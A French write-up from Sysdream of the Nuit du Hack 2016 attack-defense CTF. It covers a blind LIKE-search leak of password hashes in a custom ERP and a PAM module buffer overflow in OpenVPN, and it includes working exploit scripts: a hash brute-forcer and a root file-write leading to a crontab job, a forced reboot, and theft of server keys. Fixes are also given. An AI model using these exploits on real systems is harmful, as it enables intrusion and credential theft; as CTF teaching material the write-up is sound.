MALICE by Sysdream

Plus qu'un jeu ou une compétition

À la manière des compétitions sportives, symbolisées par le « fair play », le respect, la cohésion d'équipe, les tournois électroniques occupent aujourd'hui une place importante dans la vie des communautés. Sports électroniques et autres disciplines confondues, le « fair play » n'est pas systématiquement au rendez-vous mais la bonne humeur est généralement de circonstance, de même qu'un esprit partagé : progresser dans de nombreux domaines et repousser les limites.

L'univers du hacking et de la sécurité ne font pas exception. Les compétitions sont nombreuses et attirent un public international : Codegate, Hack.lu CTF, PHDays, et les dizaines d'autres témoignent de la grande variété de contenu et de la motivation des équipes à traverser parfois la planète pour une nuit de jeu ! Chaque année Sysdream accueille au CTF de la Nuit du Hack des équipes de toute l'Europe, mais également américaines, japonaises, chinoises, coréennes, etc.

Les circuits se professionnalisent et les compétitions sont l'occasion pour les universités, les écoles, les entreprises de briller et démontrer en public leurs compétences : chacun rêve de classement CTFTime ou de qualification au prestigieux DEFCON CTF. C'est également un temps pour rapprocher les experts de spécialités variées et résoudre ensemble des problèmes mélangeant sécurité, administration, développement, etc.

Au delà du jeu, la compétition et la mise en situation sont prétexte pour les industriels et les institutions à creuser des sujets hautement techniques, se former et mettre en oeuvre de nouvelles approches en réunissant les profils pertinents et en favorisant la communication. C'est finalement l'occasion de repérer des profils à potentiel.

C'est dans cet esprit et dans le cadre de MALICE Events que Sysdream organise régulièrement des événements, exercices et compétitions pour des industriels, des institutions et la communauté. Chaque année depuis 2008, le CTF de la Nuit du Hack réunit et met à l'épreuve quelques unes des meilleures équipes de hacking et de sécurité offensive.

Infrastructure basée sur MALICE

Support de tous les exercices et compétitions mis en place par Sysdream, le moteur de simulation de MALICE est conçu comme un outil de mise en situation. Il est destiné à la formation et l'entraînement à la sécurité et la cyberdéfense : il s'agit non seulement de piloter et superviser un parc virtualisé, mais également d'assurer des déploiements reproductibles et rapides pour s'adapter au monde événementiel.

La simulation dans un tel cadre ne pose pas les mêmes contraintes que la virtualisation habituellement déployée en production : le système est volontairement destiné à subir des attaques, à commencer par des tentatives depuis les équipements simulés eux-mêmes. Les équipes n'hésitent ainsi pas à tenter de saturer les ressources d'un hyperviseur ou de compromettre les systèmes d'administration. Un fort niveau d'isolation est donc requis, en maintenant l'accent sur les performances de déploiement pour être en mesure de fournir non pas une infrastructure unique, mais une par équipe, identiques en configuration et peuplées de données variées.

À cette fin, Sysdream a mis en oeuvre dans MALICE les outils nécessaires pour répliquer efficacement une infrastructure complète. Le jour de la Nuit du Hack, ce sont près de 150 machines virtuelles qui sont déployées en quelques minutes sur le modèle de l'infrastructure préparée en amont. Autour d'un coeur de réseau à 20Gbps, le cluster de virtualisation est également redondant pour parer aux incidents le jour J.

Basée entre autres sur Python, Celery et Redis, une batterie d'outils complète le moteur en formalisant toutes les étapes d'une compétition de type Capture The Flag : génération automatique des données de chaque équipe, déploiement automatique des configurations sur chacune des machines virtuelles à disposition, surveillance de l'état des services, etc.

Amicalement prénommée Bob, l'infrastructure finale a été assemblée dans un caisson transportable durci, anti-vibrations et immersible, caractéristiques incontournables pour survivre à une Nuit du Hack !

Le scénario et le terrain de jeu

Cette année, les participants se sont affrontés sur le thème d'une entreprise pharmaceutique. Plus précisément, il s'agissait d'assurer la sécurité d'une chaîne de production de médicaments et d'attaquer les services des équipes adverses.

Les objectifs étaient multiples :

  • assurer le bon fonctionnement de leurs services et de la production ;
  • identifier et corriger les failles implémentées par notre équipe au sein des services en prenant soin de ne pas perturber ni modifier leur fonctionnement ;
  • exploiter ces vulnérabilités sur les services des équipes adverses afin de leur voler des données et des points.

    Chaque équipe disposait d'une copie de l'infrastructure et de ses propres équipements administrables (à l'exception de l'automate, en boîte noire) :

  • un router pare-feu frontal ;

  • un serveur frontal HTTP faisant office de reverse proxy ;
  • un ERP stockant la liste des clients, des employés, des médicaments et les commandes à produire ;
  • un serveur de production récupérant les commandes et les recettes pour piloter les processus industriels ;
  • une base de données stockant les recettes des médicaments ;
  • un automate assurant la production des médicaments ;
  • un serveur de stockage contenant des informations sur les nouveaux médicaments de la société ;
  • un site Web vitrine présentant la société ;
  • un serveur mail pour les employés ;
  • un accès VPN donnant accès au réseau interne de l'entreprise ;
  • un partage Samba accessible depuis le réseau interne et le VPN.

API de recherche vulnérable sur l'ERP

Présentation du service

Les ERP (Entreprise Resource Planning) sont très utilisés en entreprise. Ils permettent de simplifier, entre autres, la gestion de calendriers, de ressources, la coordination des activités, etc.

L'ERP présent sur le CTF de la Nuit du Hack 2016 est un produit fait maison reprenant quelques-unes des fonctionnalités traditionnelles d'un ERP. Il stocke notamment la liste des clients de la société, les employés, les médicaments et les commandes à produire.

Identification de la vulnérabilité

Lorsque l'on saisit une chaîne de caractères dans le champ de recherche de l'ERP on s'aperçoit rapidement que les éléments retournés ne contiennent pas tous cette chaîne. Cela peut donc paraître un peu étrange.

Par exemple, si l'on saisit la chaîne "ad" dans le champ de recherche de la page "ERP Users" nous obtenons quatre résultats.

Le premier résultat concerne l'utilisateur "ERP Administrator" qui contient donc bien la chaîne "ad". Idem pour le troisième résultat dont l'adresse e-mail termine par "wanadoo.fr". Et pareil pour le dernier résultat dont le nom est "Rashad Blecha". Cependant, si l'on regarde de plus près, aucune chaîne "ad" n'est présente pour le second résultat. Que ce soit dans l'username, le name ou encore l'email.

Cela peut donc laisser supposer deux choses, soit la recherche est défectueuse soit elle s'effectue également dans d'autres champs non affichés sur la page.

Pour vérifier cette information, il est bon d'analyser le code présent sur la machine ERP.

A la fin du fichier "/srv/erp/erpharma/blueprints/users/views.py" on retrouve le code suivant :

@permission_required(Permissions.ADMIN)
@users.route("/users.json")
@json()
def json():
    table = DataTable(request.args, User, User.query, ["id", "username", "name", "email", "permissions"])
    table.searchable(lambda queryset, user_input: search(User, queryset, user_input))
    return table.json()

Il s'agit du code lié à la recherche des utilisateurs sur l'ERP. Nous constatons que la fonction search() est appelée et que cela retourne un résultat au format JSON. Nous remarquons également que la position du décorateur "permission_required" n'est pas correcte. Pour que l'authentification soit fonctionnelle, il devrait être placé après "users.route". De ce fait, aucune authentification n'est nécessaire pour effectuer la requête.

La fonction search() est définie dans le fichier "/srv/erp/erpharma/models.py"

def search(m, q, p):
    return q.filter(or_(*[c.like("%%%s%%" % p) for c in m.__table__.c]))

Ensuite, dans le même fichier nous trouvons le code suivant :

class User(UserMixin, db.Model):
    __tablename__ = "users"

    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(64), unique=True)
    email = db.Column(db.String(100), unique=True)
    name = db.Column(db.String(100))
    password_hash = db.Column(db.String(40))
    permissions = db.Column(db.Integer)

Ces éléments nous indiquent que la recherche est effectuée dans la table "users", sur tous les champs et que si une des valeurs de ces champs correspond alors on retourne la ligne en indiquant l'id, l'username, l'email et les permissions. De plus, il s'agit d'une recherche de type 'LIKE "%s%"'. C'est-à-dire que l'on recherche la chaîne saisie, peu importe sa position dans la valeur du champ.

Mais l'information la plus intéressante ici est de voir qu'un champ, 'password_hash', n'est pas retourné dans le résultat mais il est tout de même concerné par la recherche. Nous apprenons également que ce hash est sur 40 caractères.

Exploitation de la vulnérabilité

Via la syntaxe du 'LIKE' il est possible de faire des suppositions à l'aveugle. Par exemple on peut remplacer n'importe quel caractère via le caractère "_". Si l'on saisit la chaîne suivante : "a_______________________________________", c'est-à-dire le caractère "a" suivi de 39 caractères quelconques nous obtenons deux résultats.

Nous pouvons donc supposer que ces deux utilisateurs ont un hash de mot de passe commençant par la lettre "a".

Si nous continuons et essayons de remplacer le second caractère qui est un "_" par une lettre nous pouvons trouver la deuxième lettre du hash de l'utilisateur "eberinger" qui semble être un "e".

En continuant ainsi il est donc possible de trouver le hash complet de l'utilisateur et de faire la même chose pour tous les autres utilisateurs de l'ERP.

Afin de gagner du temps, nous avons automatisé le processus en écrivant un script d'exploitation.

Ce script est le suivant :

import requests

payload = "http://erp.tasteless.ctf/users/users.json?draw=6&start=0&length=10&search[value]=%s"

charset = "abcdef0123456789"

hash_size = 40

accounts = []

def getmatches(data):
    req = requests.get(payload % data).json()
    return req['recordsFiltered']

def getinfo(data):
    req = requests.get(payload % data).json()
    return req

def pad(guess):
    return guess.ljust(hash_size, "_")

def walk(guess=""):
    for c in charset:
        payload = pad(guess + c)
        matches = getmatches(payload)
        if matches > 0:
            print("Payload : %s got %d matches." % (payload, matches))
            if (len(guess + c) == hash_size):
                uinfo = getinfo(guess + c)
                print("[Account] email : %s - username : %s - password_hash : %s" % (uinfo["data"][0]["email"], uinfo["data"][0]["username"],guess + c))
                accounts.append({"email": uinfo["data"][0]["email"], "username": uinfo["data"][0]["username"], "password_hash": guess+c})
            else:
                walk(guess + c)

if __name__ == "__main__":
    walk()

Ce script appelle donc la page vulnérable, à savoir http://erp.tasteless.ctf/users/users.json. Dans le paramètre "search[value]" on passe une chaîne de type "a_______". Les caractères à tester sont définis par la variable "charset". On se limite aux caractères hexadécimaux couramment utilisés dans les hashs. On définit la taille du hash à 40 car nous connaissons cette taille. Ensuite on teste toutes les combinaisons possibles à l'aveugle jusqu'à obtenir le hash de mot de passe de tous les utilisateurs de l'ERP.

Le résultat pour un utilisateur est le suivant :

python blindsearch.py
Payload : a_______________________________________ got 2 matches.
Payload : ae______________________________________ got 1 matches.
Payload : ae7_____________________________________ got 1 matches.
Payload : ae76____________________________________ got 1 matches.
Payload : ae761___________________________________ got 1 matches.
Payload : ae761a__________________________________ got 1 matches.
Payload : ae761ac_________________________________ got 1 matches.
Payload : ae761acf________________________________ got 1 matches.
Payload : ae761acfc_______________________________ got 1 matches.
Payload : ae761acfc1______________________________ got 1 matches.
Payload : ae761acfc13_____________________________ got 1 matches.
Payload : ae761acfc131____________________________ got 1 matches.
Payload : ae761acfc1310___________________________ got 1 matches.
Payload : ae761acfc13104__________________________ got 1 matches.
Payload : ae761acfc131045_________________________ got 1 matches.
Payload : ae761acfc1310457________________________ got 1 matches.
Payload : ae761acfc1310457f_______________________ got 1 matches.
Payload : ae761acfc1310457fe______________________ got 1 matches.
Payload : ae761acfc1310457fe2_____________________ got 1 matches.
Payload : ae761acfc1310457fe2c____________________ got 1 matches.
Payload : ae761acfc1310457fe2c8___________________ got 1 matches.
Payload : ae761acfc1310457fe2c8c__________________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc_________________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5________________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5b_______________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5be______________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed_____________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5____________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e___________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e9__________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98_________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98b________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98b3_______ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98b3a______ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98b3a3_____ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98b3a3c____ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98b3a3cf___ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98b3a3cff__ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98b3a3cffc_ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98b3a3cffc0 got 1 matches.
[Account] email : beringer.1969@rambler.ru - username : eberinger -
password_hash : ae761acfc1310457fe2c8cc5bed5e98b3a3cffc0

Corriger la vulnérabilité

La correction de cette vulnérabilité est triviale. Il suffit, dans le fichier "models.py", de modifier la ligne suivante :

return q.filter(or_(*[c.like("%%%s%%" % p) for c in m.__table__.c]))

par

return q.filter(or_(*[c.like("%%%s%%" % p) for c in [c for c in m.__table__.c if c.name != "password_hash"]]))

Ainsi, la fonction search() exclut la colonne "password_hash" lors de sa recherche.

Débordement de tampon sur le VPN

Présentation du service

Un VPN est un service qui permet de créer un lien direct entre des ordinateurs distants. On l'utilise par exemple dans le cadre du travail à distance, dans le but d'accéder aux ressources informatiques internes à l'entreprise. OpenVPN, utilisé dans ce scénario, contient un serveur ainsi qu'un client VPN.

On s'intéresse désormais aux fichiers de configuration du service VPN. Le CTF étant de type "attaque défense", nous possédons les même fichiers que toutes les autres équipes. Si l'on trouve une vulnérabilité dedans, on peut :

  • Exploiter la même vulnérabilité sur le VPN des autres équipes ;
  • Corriger cette vulnérabilité afin que les autres équipes ne soient plus en mesure de l'exploiter sur notre propre service VPN.

Dans les fichiers de configuration, nous regardons le fichier server.conf.

% cat server.conf
mode server
proto tcp
port 443
dev tun
ca /etc/openvpn/ca.crt
cert /etc/openvpn/server.crt
key /etc/openvpn/server.key
dh /etc/openvpn/dh2048.pem
cipher AES-256-CBC
server 10.8.0.0 255.255.255.0
keepalive 10 120
user nobody
group nogroup
persist-key
persist-tun
comp-lzo
#verb 3
plugin /etc/openvpn/pam/openvpn-auth-pam.so login
client-to-client
duplicate-cn

Nous remarquons la ligne plugin /etc/openvpn/pam/openvpn-auth-pam.so login qui nous donne l'indication qu'un module PAM est appelé au moment de l'authentification du client. Intéressons-nous au module PAM (Pluggable Authentication Modules) . Le fichier source de ce module est présent à cet endroit /etc/openvpn/pam/auth-pam.c.

Identifier la vulnérabilité

Nous analysons le module PAM afin de voir si la vulnérabilité n'est pas située dedans. On analyse le code du module en recherchant les fonctions qui peuvent provoquer des vulnérabilités (strcpy, memcpy, strcat, etc ...) . On trouve une vulnérabilité de type débordement de mémoire dans la fonction qui enregistre les logins de ceux qui ont tenté une authentification.

Ici la fonction vulnérable:

int log_login(const char *login)
{
    if (fork() == 0)
    {
        int     i=0;
        int     j;
        char    buffer[40];
        char    errormessage[40];
        char    logpath[40];
        int     errorlength;
        strncpy(errormessage,"Access denied: ",16);
        errorlength = strlen(errormessage);
        strncpy(logpath,"/tmp/logPAM",16);
        int     fd;
        signal(SIGSEGV, &segfault);
        strcpy(buffer,login);
        char logline[1000];
        for(i=0;i<errorlength;i++){
            logline[i]=errormessage[i];
        }
        for(i=0;i<strlen(buffer);i++){
            logline[i+errorlength]=buffer[i];
        }
        logline[i+errorlength+1]='\0';
        printf("Logpath %s\n",logpath);
        printf("errormessage %s\n",errormessage);
        printf("Buffer %s\n",buffer);
        printf("logline %s\n",logline);
        if ((fd = open(logpath, O_RDWR | O_CREAT | O_APPEND , S_IRUSR | S_IRGRP | S_IROTH)) > 0)
        {
            printf("Write \"%s\"", logline);
            write(fd, logline, strlen(logline));
            write(fd,"\n",1);
            close(fd);
            return 0;
        }
        return 0;
    }

    return 0;
}

Le login étant un paramètre que l'utilisateur contrôle, et la taille du login n'étant pas contrôlée, c'est à cette ligne que le débordement peut avoir lieu: strcpy(buffer,login);

Exploiter la vulnérabilité

On se penche d'abord sur les façons classiques d'exploitation de ce genre de vulnérabilité ( les débordements mémoire dans la pile ). Cette voie nous donne plusieurs choix dont les principaux sont:

  1. Ecraser le pointeur de retour de la fonction vulnérable. En effet une fois qu'une fonction est appelée, elle stocke l'IP ( instruction pointeur ) actuel dans la pile, puis l'IP prend la valeur de la première instruction de la fonction appelée. Ce mécanisme permet de revenir dans la fonction appelante une fois la fonction appelée terminée. En modifiant cette valeur, on pourrait revenir dans un code que l'on contrôle et donc exécuter les instructions que l'on souhaite.

  2. Ecraser un pointeur stocké dans la pile, ce pointeur nous permettrait de pouvoir lire et écrire à un emplacement arbitraire du programme.

  3. Ecraser un nom de fichier qui serait utilisé par la suite et qui nous permettrait donc de lire et/ou d'écrire dans un fichier du système que l'on peut choisir.

Dans le cas du VPN, la solution numéro trois est la plus simple à réaliser. En effet, le tableau de caractères logpath contient l'adresse du fichier de log qui va servir à enregistrer les tentatives de connexion au VPN.

Modifier le nom du fichier

Pour commencer, nous cherchons l'écart de mémoire (communément appelé offset) entre le tableau logpath et le buffer. Pour ce faire on désassemble la fonction vulnérable du binaire.

-- snip --

0x0000000000001020 <+16>:    mov    %rdi,%rbx
0x0000000000001023 <+19>:    mov    $0xb,%edi
0x0000000000001028 <+24>:    sub    $0x488,%rsp
0x000000000000102f <+31>:    mov    0x2013a2(%rip),%rsi        # 0x2023d8
0x0000000000001036 <+38>:    mov    %rax,0x30(%rsp)
0x000000000000103b <+43>:    movabs $0x203a6465696e65,%rax
0x0000000000001045 <+53>:    movq   $0x4d4150,0x68(%rsp)
0x000000000000104e <+62>:    mov    %rax,0x38(%rsp)
0x0000000000001053 <+67>:    movabs $0x676f6c2f706d742f,%rax
0x000000000000105d <+77>:    lea    0x30(%rsp),%r12
0x0000000000001062 <+82>:    mov    %rax,0x60(%rsp)
0x0000000000001067 <+87>:    mov    %rsp,%rbp
0x000000000000106a <+90>:    callq  0xda0 <signal@plt>
0x000000000000106f <+95>:    mov    %rbx,%rsi
0x0000000000001072 <+98>:    mov    %rsp,%rdi
0x0000000000001075 <+101>:   lea    0x90(%rsp),%rbx
0x000000000000107d <+109>:   callq  0xd20 <stpcpy@plt>

-- snip --

On peut remarquer des nombres tels que 0x676f6c2f706d742f et 0x4d4150. Ces deux nombres, en les décodant en ASCII nous donnent "gol/pmt/" et "MAP". On remarque que c'est l'inverse de "/tmp/logPAM" qui est le nom du fichier de log et qui est stocké sur la pile. Nous pouvons voir à quel emplacement mémoire le nom de fichier est copié: 0x60 octets au-dessus de SP (le stack pointer, dans le binaire il correspond à %rsp ) Nous avons donc l'emplacement dans la pile de logpath : 0x60 + %rsp.

On voit que l'appel vulnérable précédemment cité strcpy(buffer,login); prend comme arguments :

  1. buffer situé à 0x0 octets par rapport SP ;
  2. login le paramètre que l utilisateur contrôle.

Nous obtenons donc l'emplacement de buffer 0x0 + %rsp.

Nous avons donc notre offset: 0x60 octets = 96 octets. En entrant un login d'une taille supérieure à 96 octets, nous écrasons le nom du fichier de log.

Ceci nous permet par la suite d'enregistrer une chaine de caractères dans un fichier du système. Sachant que le module PAM est lancé avec les droits root, on peut donc écrire à n'importe quel endroit du système.

Ecrire ce que l'on veut

Pour écrire ce que l'on veut dans le fichier cible, on doit être en mesure de contrôler le tableau logline. C'est ce tableau qui va finalement être ajouté à la fin du fichier que l'on peut choisir.

if ((fd = open(logpath, O_RDWR | O_CREAT | O_APPEND , S_IRUSR | S_IRGRP | S_IROTH)) > 0)
{
    printf("Write \"%s\"", logline);
    write(fd, logline, strlen(logline));
    write(fd,"\n",1);
    close(fd);
    return 0;
}

Le tableau logline est une concaténation du tableau errormessage et du tableau buffer :

char logline[1000];
for(i=0;i<errorlength;i++){
    logline[i]=errormessage[i];
}
for(i=0;i<strlen(buffer);i++){
    logline[i+errorlength]=buffer[i];
}
logline[i+errorlength+1]='\0';

On recherche donc l'adresse du tableau errormessage. En effet, on cherche à savoir si nous contrôlons ce qui est écrit dans errormessage. la ligne :

strncpy(errormessage,"Access denied: ",16);

correspond en assembleur au morceau de code suivant:

0x0000000000001014 <+4>:     movabs $0x6420737365636341,%rax
-- snip --
0x0000000000001036 <+38>:    mov    %rax,0x30(%rsp)
0x000000000000103b <+43>:    movabs $0x203a6465696e65,%rax
-- snip --
0x000000000000104e <+62>:    mov    %rax,0x38(%rsp)

On peut le voir, car 0x6420737365636341 et 0x203a6465696e65 correspondent respectivement à "d sseccA" et " :deine". Ce qui correspond à la chaîne de caractères "Access denied: " du strncpy précédent. Nous obtenons donc l'emplacement du tableau errormessage qui est situé à rsp + 0x30.

Au final, nous avons le contrôle sur le tableau logline car il est situé entre buffer et logpath. Pour écrire ce que l'on veut, où on le souhaite, le login doit avoir la structure suivante:

Soit ligne, la ligne à écrire dans le fichier.

Soit fichier, le fichier cible.

Soit taille_ligne, la taille en octets de la ligne à écrire.

ligne = " "*(63-taille_ligne) + ligne

login = ligne[15:]+ligne[:15] + fichier

Il nous reste un problème:

Le début de la commande ainsi que le nom du fichier seront présents à la fin de la ligne que l'on ajoutera au fichier.

Executer une commande

Pour l'instant on peut écrire presque n'importe quoi à n'importe quel endroit de la machine, mais nous cherchons une solution pour exécuter des commandes système.

Le premier fichier à viser est la crontab située à /etc/crontab. On ajoute une tâche cron grâce à l'exploitation trouvée précédement, tout en commentant la fin de la ligne (le nom du fichier plus le début de la commande) avec un '#'. Une fois cette tâche ajoutée, on doit trouver un moyen de redémarrer la machine.

En modifiant le fichier /proc/sysrq-trigger, on provoque un kernelpanic qui a pour effet de redémarrer la machine sans trop l'abimer. Une fois la machine redémarrée, la tache cron est exécutée et donc notre commande. Dans l'exploit donné en annexe, le choix de la commande est la construction d'un lien symbolique dans /var/www/html/ vers la racine du système de fichier. En ouvrant ce lien symbolique en HTTP, on obtient un accès au système de fichier. On peut donc récupérer les "flags" qui valident l'épreuve.

Corriger le service

La correction de ce service est plus simple que l'exploitation. On peut imaginer plusieurs méthodes :

  1. La méthode attendue était de corriger le problème dans le code. La ligne strcpy(buffer,login); posant problème on peut la remplacer par strncpy(buffer,login,sizeof(buffer)-1); buffer[sizeof(buffer)-1] = '\0'; ainsi il n'y a plus de débordement ;

  2. Une autre méthode, qui a été présentée par une des équipes lors du CTF, est possible. On récupère un module PAM sur Internet afin de remplacer celui existant dans le service.

Annexe

fichier exploit.py

import os
import socket
import time
import subprocess
import sys
import requests

def write_to_file(filename,payload):
    # Utilise la vulnérabilité dans le module PAM pour écrire dans un fichier en root
    if len(payload)>64:
        print("Line too long")
        exit()
    payload += (" "*(63-len(payload)))
    username= payload[15:]+payload[:15]+" "*33+filename
    file = open('pass.conf','w')
    file.write(username)
    file.write("\ntest\n")
    file.close()
    openvpn = subprocess.Popen(["openvpn","--config","client.ovpn","--auth-user-pass","pass.conf"], stdout=None)
    time.sleep(10)
    subprocess.Popen.kill(openvpn)
os.system("wget http://vpn."+sys.argv[1]+".ctf/client.ovpn -O client.ovpn -q")
print("Write cronjob...")
write_to_file("/etc/crontab","* * * * * root ln -s / /var/www/html/.stolen # ") # créé un lien symbolique vers le système pour récupérer les fichiers
print("Reboot machine...")
write_to_file("/proc/sysrq-trigger","s")
time.sleep(20)
write_to_file("/proc/sysrq-trigger","b") # Fait redémarrer la machine permettant l'application de la tâche cron
time.sleep(30)
os.system("wget -r --no-parent http://vpn."+sys.argv[1]+".ctf/.stolen/etc/openvpn/")
print(requests.get("http://vpn."+sys.argv[1]+".ctf/.stolen/etc/openvpn/server.key").text)
print(requests.get("http://vpn."+sys.argv[1]+".ctf/.stolen/etc/openvpn/server.crt").text)
print(requests.get("http://vpn."+sys.argv[1]+".ctf/.stolen/etc/openvpn/ca.key").text)
print(requests.get("http://vpn."+sys.argv[1]+".ctf/.stolen/etc/openvpn/vpn-user.conf").text)